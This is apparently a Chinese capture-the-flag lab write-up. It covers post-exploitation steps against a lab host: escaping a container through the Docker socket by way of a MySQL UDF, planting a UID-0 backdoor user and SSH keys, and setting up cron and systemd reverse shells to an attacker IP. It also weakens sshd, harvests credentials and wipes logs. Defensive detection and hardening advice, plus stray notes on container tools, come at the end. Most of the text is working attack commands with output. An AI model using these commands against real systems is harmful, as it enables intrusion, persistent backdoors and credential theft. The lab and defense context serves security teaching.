| SSH 配置 | 确定 SSH 后门植入方式 |
| 定时任务 | 寻找持久化机会 |
| 已安装服务 | 识别可利用的服务 |
7.2 宿主机提权技术
7.2.1 检查 sudo 配置
注意:需要通过 Docker API 创建一次性容器来读取宿主机文件。
bash复制
创建容器读取 sudoers 文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/etc/sudoers\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/sudoers_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/sudoers_payload.json http://localhost/containers/create\\" > /tmp/sudoers_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/sudoers_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/sudoers_create.txt');" mysql
获取容器 ID 后启动并获取日志
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/sudoers_start.txt 2>&1');" mysql
sleep 2
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/sudoers.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/sudoers.txt');" mysql
读取 sudo 配置
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/sudoers.txt');" mysql
常见的 sudo 提权配置错误:
| 配置 | 风险 |
|---|---|
| NOPASSWD: ALL | 无需密码执行任意命令 |
| (ALL) /usr/bin/vim | 通过 vim 逃逸获取 shell |
| (ALL) /usr/bin/find | 通过 find -exec 执行命令 |
| env_keep+=LD_PRELOAD | 通过 LD_PRELOAD 注入恶意库 |
7.2.2 检查内核漏洞
bash复制
获取内核版本
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/kernel.txt');" mysql
常见的 Linux 内核提权漏洞:
| CVE | 名称 | 影响版本 | 利用难度 |
|---|---|---|---|
| CVE-2022-0847 | DirtyPipe | Linux 5.8+ | 低 |
| CVE-2021-4034 | PwnKit | Polkit < 0.120 | 低 |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 | 中 |
| CVE-2016-5195 | DirtyCow | Linux 2.6.22-4.8 | 中 |
7.2.3 利用 Docker 特权访问
由于我们已经可以通过 Docker Socket 创建特权容器,实际上已经拥有了宿主机的 root 权限。可以通过创建一次性容器来修改宿主机文件:
bash复制
通过 Docker API 创建容器,添加后门用户到宿主机的 /etc/passwd
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"sh\",\"-c\",\"echo backdoor:x:0:0::/root:/bin/bash >> /host/etc/passwd\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/backdoor_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/backdoor_payload.json http://localhost/containers/create\\" > /tmp/backdoor_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/backdoor_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/backdoor_create.txt');" mysql
启动容器执行命令
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/backdoor_start.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/backdoor_start.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/backdoor_start.txt');" mysql
说明:启动成功时返回空。后门用户 backdoor 已添加到宿主机的 /etc/passwd,可以使用 su backdoor 切换到该用户(无需密码)。
7.3 APT 持久化技术
在真实的 APT 攻击中,攻击者会部署多种持久化机制,确保即使部分后门被发现,仍能保持对目标的访问。
重要提示 :本节中所有涉及 /host/ 路径的命令都需要通过 Docker API 创建一次性容器来执行。具体方法参考 7.1.2 节和 7.2.3 节的示例。以下命令中的 Cmd 字段展示了需要在容器中执行的命令。
7.3.1 SSH 密钥后门
最隐蔽的持久化方式之一:将攻击者的 SSH 公钥添加到目标用户的 authorized_keys 文件中。
步骤 1:在 Kali 上生成 SSH 密钥对
bash复制
生成 SSH 密钥对(私钥保存在 Kali 本地)
ssh-keygen -t rsa -b 2048 -f /tmp/backdoor_key -N "" -q
查看生成的密钥
ls -la /tmp/backdoor_key*
-rw------- 1 kali kali 1823 Jan 21 09:55 /tmp/backdoor_key # 私钥
-rw-r--r-- 1 kali kali 392 Jan 21 09:55 /tmp/backdoor_key.pub # 公钥
读取公钥内容
cat /tmp/backdoor_key.pub
步骤 2:将公钥写入宿主机
bash复制
获取公钥(注意:需要将公钥内容替换到下面的 JSON 中)
PUBKEY=$(cat /tmp/backdoor_key.pub)
echo $PUBKEY
使用 MySQL 直接写入 JSON payload(将 YOUR_PUBLIC_KEY 替换为实际公钥)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/sh\",\"-c\",\"mkdir -p /host/root/.ssh && echo YOUR_PUBLIC_KEY >> /host/root/.ssh/authorized_keys && chmod 600 /host/root/.ssh/authorized_keys && chmod 700 /host/root/.ssh\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/ssh_backdoor.json';" mysql
创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/ssh_backdoor.json http://localhost/containers/create?name=ssh_backdoor\\" > /tmp/ssh_create.txt 2>&1');" mysql
设置文件权限并读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/ssh_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/ssh_create.txt');" mysql
返回结果:
json复制
{"Id":"...容器ID...","Warnings":[]}
步骤 3:启动容器执行命令
bash复制
从上一步返回结果中获取容器 ID,启动容器
CONTAINER_ID='上一步返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/ssh_start.txt 2>&1');" mysql
检查启动结果(可选,成功时返回空)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/ssh_start.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/ssh_start.txt');" mysql
说明:Docker API 的 /containers/{id}/start 成功时返回空,文件内容为空表示启动成功。
步骤 4:验证 SSH 后门
bash复制
设置私钥权限
chmod 600 /tmp/backdoor_key
使用私钥 SSH 登录宿主机
ssh -o StrictHostKeyChecking=no -i /tmp/backdoor_key root@10.10.1.187
验证成功后可以看到:
root@localhost:~# whoami
root
root@localhost:~# cat /flag
flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3}
SSH 后门的优势:
- 流量加密,难以被 IDS 检测
- 使用标准端口(22),不易引起怀疑
- 无需修改系统二进制文件
- 私钥保存在攻击机,目标机只有公钥
7.3.2 Cron 定时任务后门
利用 cron 定时任务实现持久化反弹 shell。
注意 :由于我们已经通过 SSH 密钥后门获得了宿主机的直接访问权限,可以直接通过 SSH 操作宿主机,无需再通过 Docker API。
方法一:通过 SSH 后门直接操作(推荐)
bash复制
先通过 SSH 后门登录宿主机
ssh -i /tmp/backdoor_key root@10.10.1.187
添加每分钟执行的反弹 shell cron 任务
echo '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.1.79/4444 0>&1"' >> /etc/crontab
验证 cron 任务已添加
tail -3 /etc/crontab
方法二:通过 Docker API 操作
bash复制
使用 MySQL 直接写入 JSON payload
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/sh\",\"-c\",\"echo \\\"* * * * * root /bin/bash -c /bin/bash -i >& /dev/tcp/10.10.1.79/4444 0>&1\\\" >> /host/etc/crontab\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/cron_backdoor.json';" mysql
创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/cron_backdoor.json http://localhost/containers/create?name=cron_backdoor\\" > /tmp/cron_create.txt 2>&1');" mysql
设置文件权限并读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/cron_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/cron_create.txt');" mysql
返回结果:
json复制
{"Id":"...容器ID...","Warnings":[]}
启动容器执行命令:
bash复制
使用返回的容器 ID 启动容器
CONTAINER_ID='上一步返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/cron_start.txt 2>&1');" mysql
检查启动结果(可选,成功时返回空)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/cron_start.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/cron_start.txt');" mysql
说明:Docker API 的 /containers/{id}/start 成功时返回空,文件内容为空表示启动成功。
在 Kali 上监听并验证:
bash复制
开启监听(等待最多 1 分钟即可收到连接)
nc -lvnp 4444
成功连接后会看到:
listening on [any] 4444 ...
connect to [10.10.1.79] from (UNKNOWN) [10.10.1.187] 43914
bash: 无法设定终端进程组(28715): 对设备不适当的 ioctl 操作
bash: 此 shell 中无任务控制
[root@localhost ~]#
清理测试后门(验证完成后执行):
bash复制
通过 SSH 登录宿主机删除 cron 后门
ssh -i /tmp/backdoor_key root@10.10.1.187 \
"sed -i '/\\/dev\\/tcp\\/10.10.1.79\\/4444/d' /etc/crontab"
7.3.3 Systemd 服务后门
创建一个伪装成合法服务的 systemd 后门:
bash复制
创建恶意服务文件
SERVICE_FILE='[Unit]
Description=System Update Service
After=network.target
Service
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.1.79/4445 0>&1"
Restart=always
RestartSec=60
Install
WantedBy=multi-user.target'
写入服务文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"$SERVICE_FILE\\\" > /host/etc/systemd/system/system-update.service\" 2>&1');" mysql
启用服务(需要在宿主机上执行 systemctl daemon-reload)
Systemd 后门的优势:
- 开机自启动
- 自动重启(即使被杀死)
- 伪装成系统服务,不易被发现
7.3.4 修改 SSHD 配置
允许 root 用户通过 SSH 登录,并启用密码认证:
bash复制
修改 sshd_config
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"sed -i \\\"s/PermitRootLogin.*/PermitRootLogin yes/\\\" /host/etc/ssh/sshd_config\" 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"sed -i \\\"s/PasswordAuthentication.*/PasswordAuthentication yes/\\\" /host/etc/ssh/sshd_config\" 2>&1');" mysql
7.3.5 创建隐藏用户
创建一个 UID 为 0 的隐藏用户(与 root 具有相同权限):
bash复制
生成密码哈希(密码为 "P@ssw0rd")
使用 openssl: openssl passwd -6 -salt xyz P@ssw0rd
PASSWD_HASH='6xyz$...' # 实际哈希值
添加隐藏用户到 /etc/passwd 和 /etc/shadow
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"sysadmin:x:0:0:System Administrator:/root:/bin/bash\\\" >> /host/etc/passwd\" 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"sysadmin:$PASSWD_HASH:19000:0:99999:7::::\\\" >> /host/etc/shadow\" 2>&1');" mysql
7.4 横向移动准备
重要提示 :以下命令中涉及 /host/ 路径的操作,都需要通过 Docker API 创建一次性容器来执行,因为 MySQL 容器本身没有 /host 目录。具体方法参考 7.1.2 节的示例。
7.4.1 收集网络信息
扫描内网存活主机(此命令在 MySQL 容器内执行,不需要 /host):
bash复制
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"for i in \(seq 1 254); do ping -c 1 -W 1 10.10.1.\\i 2>/dev/null | grep -q 64 && echo 10.10.1.\$i; done > /tmp/alive_hosts.txt\" 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/alive_hosts.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/alive_hosts.txt');" mysql
查看 ARP 缓存(需要通过 Docker API 创建容器):
bash复制
创建容器读取宿主机 ARP 缓存
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/proc/net/arp\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/arp_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/arp_payload.json http://localhost/containers/create\\" > /tmp/arp_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/arp_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/arp_create.txt');" mysql
启动容器并获取日志
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/arp_start.txt 2>&1');" mysql
sleep 2
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/arp.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/arp.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/arp.txt');" mysql
7.4.2 收集凭据
注意 :以下所有涉及 /host/ 路径的命令都需要通过 Docker API 创建一次性容器执行。这里以收集 SSH 私钥为例展示完整步骤:
bash复制
创建容器查找 SSH 私钥
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host/home\",\"-name\",\"id_rsa\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/sshkeys_payload.json';" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/sshkeys_payload.json http://localhost/containers/create\\" > /tmp/sshkeys_create.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/sshkeys_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/sshkeys_create.txt');" mysql
启动容器并获取日志
CONTAINER_ID='返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/sshkeys_start.txt 2>&1');" mysql
sleep 2
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/ssh_keys.txt 2>&1');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/ssh_keys.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/ssh_keys.txt');" mysql
其他凭据收集(使用相同的 Docker API 方法):
- bash 历史记录:Cmd: ["cat", "/host/root/.bash_history"]
- 配置文件:Cmd: ["sh", "-c", "find /host -name '*.conf' -exec grep -l password {} \\;"]
7.5 清理痕迹
在完成攻击后,APT 攻击者通常会清理日志和痕迹。
注意 :以下命令需要通过 Docker API 创建一次性容器执行,因为涉及 /host/ 路径。方法与 7.1.2 节相同。
清理命令示例(需要创建容器执行):
- 清理 bash 历史:Cmd: ["sh", "-c", "echo '' > /host/root/.bash_history"]
- 清理认证日志:Cmd: ["sh", "-c", "echo '' > /host/var/log/auth.log"]
- 清理 syslog:Cmd: ["sh", "-c", "echo '' > /host/var/log/syslog"]
注意:在合法的渗透测试中,清理痕迹通常不是必需的,但了解攻击者的行为有助于防御。
7.6 持久化技术对比
| 技术 | 隐蔽性 | 可靠性 | 检测难度 | 推荐场景 |
|---|---|---|---|---|
| SSH 密钥后门 | 5/5 | 5/5 | 高 | 长期潜伏 |
| Cron 定时任务 | 3/5 | 4/5 | 中 | 定期回连 |
| Systemd 服务 | 4/5 | 5/5 | 中高 | 持续访问 |
| 隐藏用户 | 2/5 | 5/5 | 低 | 备用入口 |
| 修改 SSHD | 3/5 | 4/5 | 中 | 快速部署 |
7.7 防御建议
7.7.1 检测持久化后门
bash复制
检查异常 SSH 密钥
find /home -name "authorized_keys" -exec cat {} \;
cat /root/.ssh/authorized_keys
检查异常 cron 任务
cat /etc/crontab
ls -la /etc/cron.d/
for user in (cut -f1 -d: /etc/passwd); do crontab -l -u user 2>/dev/null; done
检查异常 systemd 服务
systemctl list-unit-files --type=service | grep enabled
ls -la /etc/systemd/system/
检查 UID 为 0 的用户
awk -F: '3 == 0 {print 1}' /etc/passwd
检查异常网络连接
netstat -antup | grep ESTABLISHED
ss -antup | grep ESTABLISHED
7.7.2 加固措施
- SSH 加固
bash复制
禁用 root 登录
PermitRootLogin no
禁用密码认证
PasswordAuthentication no
限制 SSH 用户
AllowUsers admin
- 文件完整性监控
bash复制
使用 AIDE 监控关键文件
aide --init
aide --check
- 日志集中管理
- 将日志发送到远程 syslog 服务器
- 使用 SIEM 系统进行实时监控
- 定期安全审计
- 使用 Lynis 进行系统安全审计
- 定期检查用户账户和权限
第八章 攻击链总结
8.1 完整攻击路径
8.2 Flag 汇总
| Flag | 值 | 位置 | 获取方式 |
|---|---|---|---|
| flag1 | flag1{75813557-25c4-456c-8a44-6a4d4c62c859} | 数据库 | SQL 注入提取 |
| flag2 | flag2{e25ce9d8-dc48-426c-92db-4d07899b4f75} | MySQL 容器 /flag | SUID nohup 提权 |
| flag3 | flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3} | 宿主机 /flag | Docker 逃逸 |
8.3 涉及的安全漏洞
- 源码泄露:vim 交换文件未清理
- SQL 注入:用户输入未经充分过滤直接拼接 SQL
- 文件上传漏洞:允许上传 .htaccess 文件
- 数据库凭据泄露:环境变量中存储明文密码
- UDF 提权:MySQL root 权限 + secure_file_priv 未限制
- SUID 配置不当:nohup 不应该有 SUID 权限
- Docker 配置不当:容器内可访问 Docker socket
第九章 防御建议总结
9.1 开发安全
- 使用参数化查询防止 SQL 注入
- 实施严格的文件上传白名单验证
- 不要在代码或环境变量中存储明文密码
- 定期清理开发过程中产生的临时文件
9.2 系统安全
- 最小化 SUID 程序数量
- 定期审计系统权限配置
- 使用 Linux capabilities 替代 SUID
- 配置 MySQL secure_file_priv 限制文件操作
9.3 容器安全
- 不要将 Docker socket 挂载到容器中
- 使用非 root 用户运行容器
- 移除容器中不必要的工具和权限
- 配置适当的安全策略(AppArmor/SELinux)
附录:常用命令速查
bash复制
Nmap 扫描
nmap -sT -sV -p- TARGET_IP
SQL 注入测试
curl -s -X POST "http://TARGET/login" -d 'username=admin\&password= or 1=1-- '
文件上传
curl -s -X POST "http://TARGET/upload.php" -F "file=@/path/to/file"
MySQL UDF 提权
mysql -h HOST -u root -pPASS -e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';"
查找 SUID 文件
find / -perm -u=s -type f 2>/dev/null
Docker API 调用
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
三.扩充
(1)装一个容器,Cs架构产生的容器在客户端

(2)Portainer不推荐
(3)大名鼎鼎prometheus普罗米修斯监控使用

(4)Container专业

(5)Navigator

(6)K3s

(7)知识导图
